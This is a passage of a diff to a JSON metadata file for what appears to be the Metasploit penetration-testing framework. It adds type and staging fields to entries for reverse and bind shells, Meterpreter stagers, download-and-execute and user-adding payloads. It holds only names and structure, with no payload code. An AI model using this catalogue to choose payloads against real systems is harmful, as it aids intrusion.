"TFTP Fetch, Linux Command Shell, Reverse TCP Stager", @@ -184010,7 +184964,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp_uuid" }, "payload_cmd/linux/tftp/x86/shell_bind_ipv6_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", @@ -184046,7 +185006,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell_bind_ipv6_tcp", + "staged": false }, "payload_cmd/linux/tftp/x86/shell_bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", @@ -184082,7 +185046,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell_bind_tcp", + "staged": false }, "payload_cmd/linux/tftp/x86/shell_bind_tcp_random_port": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", @@ -184120,7 +185088,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell_bind_tcp_random_port", + "staged": false }, "payload_cmd/linux/tftp/x86/shell_find_port": { "name": "TFTP Fetch, Linux Command Shell, Find Port Inline", @@ -184156,7 +185128,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell_find_port", + "staged": false }, "payload_cmd/linux/tftp/x86/shell_find_tag": { "name": "TFTP Fetch, Linux Command Shell, Find Tag Inline", @@ -184192,7 +185168,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell_find_tag", + "staged": false }, "payload_cmd/linux/tftp/x86/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", @@ -184229,7 +185209,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell_reverse_tcp", + "staged": false }, "payload_cmd/linux/tftp/x86/shell_reverse_tcp_ipv6": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", @@ -184265,7 +185249,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell_reverse_tcp_ipv6", + "staged": false }, "payload_cmd/mainframe/apf_privesc_jcl": { "name": "JCL to Escalate Privileges", @@ -184300,7 +185288,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/mainframe/bind_shell_jcl": { "name": "Z/OS (MVS) Command Shell, Bind TCP", @@ -184334,7 +185324,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/mainframe/generic_jcl": { "name": "Generic JCL Test for Mainframe Exploits", @@ -184368,7 +185360,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/mainframe/reverse_shell_jcl": { "name": "Z/OS (MVS) Command Shell, Reverse TCP", @@ -184402,7 +185396,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/adduser": { "name": "Add user with useradd", @@ -184436,7 +185432,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_awk": { "name": "Unix Command Shell, Bind TCP (via AWK)", @@ -184471,7 +185469,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_busybox_telnetd": { "name": "Unix Command Shell, Bind TCP (via BusyBox telnetd)", @@ -184505,7 +185505,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_inetd": { "name": "Unix Command Shell, Bind TCP (inetd)", @@ -184539,7 +185541,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_jjs": { "name": "Unix Command Shell, Bind TCP (via jjs)", @@ -184576,7 +185580,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_lua": { "name": "Unix Command Shell, Bind TCP (via Lua)", @@ -184610,7 +185616,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_netcat": { "name": "Unix Command Shell, Bind TCP (via netcat)", @@ -184646,7 +185654,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_netcat_gaping": { "name": "Unix Command Shell, Bind TCP (via netcat -e)", @@ -184680,7 +185690,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_netcat_gaping_ipv6": { "name": "Unix Command Shell, Bind TCP (via netcat -e) IPv6", @@ -184714,7 +185726,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_nodejs": { "name": "Unix Command Shell, Bind TCP (via nodejs)", @@ -184748,7 +185762,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_perl": { "name": "Unix Command Shell, Bind TCP (via Perl)", @@ -184783,7 +185799,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_perl_ipv6": { "name": "Unix Command Shell, Bind TCP (via perl) IPv6", @@ -184818,7 +185836,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_r": { "name": "Unix Command Shell, Bind TCP (via R)", @@ -184852,7 +185872,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_ruby": { "name": "Unix Command Shell, Bind TCP (via Ruby)", @@ -184886,7 +185908,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_ruby_ipv6": { "name": "Unix Command Shell, Bind TCP (via Ruby) IPv6", @@ -184920,7 +185944,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_socat_sctp": { "name": "Unix Command Shell, Bind SCTP (via socat)", @@ -184954,7 +185980,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_socat_udp": { "name": "Unix Command Shell, Bind UDP (via socat)", @@ -184988,7 +186016,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_stub": { "name": "Unix Command Shell, Bind TCP (stub)", @@ -185022,7 +186052,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/bind_zsh": { "name": "Unix Command Shell, Bind TCP (via Zsh)", @@ -185057,7 +186089,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/generic": { "name": "Unix Command, Generic Command Execution", @@ -185091,7 +186125,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/interact": { "name": "Unix Command, Interact with Established Connection", @@ -185125,7 +186161,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/pingback_bind": { "name": "Unix Command Shell, Pingback Bind TCP (via netcat)", @@ -185159,7 +186197,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/pingback_reverse": { "name": "Unix Command Shell, Pingback Reverse TCP (via netcat)", @@ -185193,7 +186233,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/python/meterpreter/bind_tcp": { "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager", @@ -185227,7 +186269,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/bind_tcp" }, "payload_cmd/unix/python/meterpreter/bind_tcp_uuid": { "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support", @@ -185262,7 +186310,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/bind_tcp_uuid" }, "payload_cmd/unix/python/meterpreter/reverse_http": { "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager", @@ -185296,7 +186350,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter/reverse_http", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_http" }, "payload_cmd/unix/python/meterpreter/reverse_https": { "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager", @@ -185330,7 +186390,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter/reverse_https", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_https" }, "payload_cmd/unix/python/meterpreter/reverse_tcp": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager", @@ -185364,7 +186430,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp" }, "payload_cmd/unix/python/meterpreter/reverse_tcp_ssl": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager", @@ -185400,7 +186472,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter/reverse_tcp_ssl", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp_ssl" }, "payload_cmd/unix/python/meterpreter/reverse_tcp_uuid": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support", @@ -185435,7 +186513,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp_uuid" }, "payload_cmd/unix/python/meterpreter_bind_tcp": { "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline", @@ -185469,7 +186553,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter_bind_tcp", + "staged": false }, "payload_cmd/unix/python/meterpreter_reverse_http": { "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline", @@ -185503,7 +186591,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter_reverse_http", + "staged": false }, "payload_cmd/unix/python/meterpreter_reverse_https": { "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline", @@ -185537,7 +186629,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter_reverse_https", + "staged": false }, "payload_cmd/unix/python/meterpreter_reverse_tcp": { "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline", @@ -185571,7 +186667,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter_reverse_tcp", + "staged": false }, "payload_cmd/unix/python/pingback_bind_tcp": { "name": "Python Exec, Python Pingback, Bind TCP (via python)", @@ -185606,7 +186706,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/pingback_bind_tcp", + "staged": false }, "payload_cmd/unix/python/pingback_reverse_tcp": { "name": "Python Exec, Python Pingback, Reverse TCP (via python)", @@ -185641,7 +186745,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/pingback_reverse_tcp", + "staged": false }, "payload_cmd/unix/python/shell_bind_tcp": { "name": "Python Exec, Command Shell, Bind TCP (via python)", @@ -185676,7 +186784,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/shell_bind_tcp", + "staged": false }, "payload_cmd/unix/python/shell_reverse_sctp": { "name": "Python Exec, Command Shell, Reverse SCTP (via python)", @@ -185711,7 +186823,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/shell_reverse_sctp", + "staged": false }, "payload_cmd/unix/python/shell_reverse_tcp": { "name": "Python Exec, Command Shell, Reverse TCP (via python)", @@ -185746,7 +186862,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/shell_reverse_tcp", + "staged": false }, "payload_cmd/unix/python/shell_reverse_tcp_ssl": { "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)", @@ -185781,7 +186901,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/shell_reverse_tcp_ssl", + "staged": false }, "payload_cmd/unix/python/shell_reverse_udp": { "name": "Python Exec, Command Shell, Reverse UDP (via python)", @@ -185816,7 +186940,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/shell_reverse_udp", + "staged": false }, "payload_cmd/unix/reverse": { "name": "Unix Command Shell, Double Reverse TCP (telnet)", @@ -185850,7 +186978,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_awk": { "name": "Unix Command Shell, Reverse TCP (via AWK)", @@ -185886,7 +187016,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_bash": { "name": "Unix Command Shell, Reverse TCP (/dev/tcp)", @@ -185920,7 +187052,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_bash_telnet_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (telnet)", @@ -185954,7 +187088,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_bash_udp": { "name": "Unix Command Shell, Reverse UDP (/dev/udp)", @@ -185989,7 +187125,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_jjs": { "name": "Unix Command Shell, Reverse TCP (via jjs)", @@ -186026,7 +187164,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_ksh": { "name": "Unix Command Shell, Reverse TCP (via Ksh)", @@ -186060,7 +187200,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_lua": { "name": "Unix Command Shell, Reverse TCP (via Lua)", @@ -186094,7 +187236,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_ncat_ssl": { "name": "Unix Command Shell, Reverse TCP (via ncat)", @@ -186128,7 +187272,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_netcat": { "name": "Unix Command Shell, Reverse TCP (via netcat)", @@ -186164,7 +187310,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_netcat_gaping": { "name": "Unix Command Shell, Reverse TCP (via netcat -e)", @@ -186198,7 +187346,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_nodejs": { "name": "Unix Command Shell, Reverse TCP (via nodejs)", @@ -186232,7 +187382,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_openssl": { "name": "Unix Command Shell, Double Reverse TCP SSL (openssl)", @@ -186266,7 +187418,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_perl": { "name": "Unix Command Shell, Reverse TCP (via Perl)", @@ -186300,7 +187454,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_perl_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (via perl)", @@ -186334,7 +187490,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_php_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (via php)", @@ -186368,7 +187526,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_python": { "name": "Unix Command Shell, Reverse TCP (via Python)", @@ -186402,7 +187562,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_python_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (via python)", @@ -186436,7 +187598,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_r": { "name": "Unix Command Shell, Reverse TCP (via R)", @@ -186470,7 +187634,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_ruby": { "name": "Unix Command Shell, Reverse TCP (via Ruby)", @@ -186504,7 +187670,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_ruby_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (via Ruby)", @@ -186538,7 +187706,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_socat_sctp": { "name": "Unix Command Shell, Reverse SCTP (via socat)", @@ -186572,7 +187742,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_socat_udp": { "name": "Unix Command Shell, Reverse UDP (via socat)", @@ -186606,7 +187778,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_ssh": { "name": "Unix Command Shell, Reverse TCP SSH", @@ -186641,7 +187815,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_ssl_double_telnet": { "name": "Unix Command Shell, Double Reverse TCP SSL (telnet)", @@ -186676,7 +187852,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_stub": { "name": "Unix Command Shell, Reverse TCP (stub)", @@ -186710,7 +187888,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_tclsh": { "name": "Unix Command Shell, Reverse TCP (via Tclsh)", @@ -186744,7 +187924,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/unix/reverse_zsh": { "name": "Unix Command Shell, Reverse TCP (via Zsh)", @@ -186779,7 +187961,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/adduser": { "name": "Windows Execute net user /ADD CMD", @@ -186815,7 +187999,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/bind_lua": { "name": "Windows Command Shell, Bind TCP (via Lua)", @@ -186849,7 +188035,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/bind_perl": { "name": "Windows Command Shell, Bind TCP (via Perl)", @@ -186885,7 +188073,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/bind_perl_ipv6": { "name": "Windows Command Shell, Bind TCP (via perl) IPv6", @@ -186921,7 +188111,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/bind_ruby": { "name": "Windows Command Shell, Bind TCP (via Ruby)", @@ -186955,7 +188147,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/download_eval_vbs": { "name": "Windows Executable Download and Evaluate VBS", @@ -186989,7 +188183,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/download_exec_vbs": { "name": "Windows Executable Download and Execute (via .vbs)", @@ -187023,7 +188219,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/generic": { "name": "Windows Command, Generic Command Execution", @@ -187057,7 +188255,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/http/x64/custom/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", @@ -187093,7 +188293,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/http/x64/custom/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -187130,7 +188336,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/http/x64/custom/bind_named_pipe": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", @@ -187166,7 +188378,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/http/x64/custom/bind_tcp": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", @@ -187202,7 +188420,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/http/x64/custom/bind_tcp_rc4": { "name": "HTTP Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -187243,7 +188467,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/http/x64/custom/bind_tcp_uuid": { "name": "HTTP Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", @@ -187280,7 +188510,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/http/x64/custom/reverse_http": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", @@ -187316,7 +188552,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_http", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_http" }, "payload_cmd/windows/http/x64/custom/reverse_https": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", @@ -187354,7 +188596,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_https", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_https" }, "payload_cmd/windows/http/x64/custom/reverse_named_pipe": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -187390,7 +188638,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_cmd/windows/http/x64/custom/reverse_tcp": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", @@ -187426,7 +188680,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/http/x64/custom/reverse_tcp_rc4": { "name": "HTTP Fetch, Windows shellcode stage, Reverse TCP 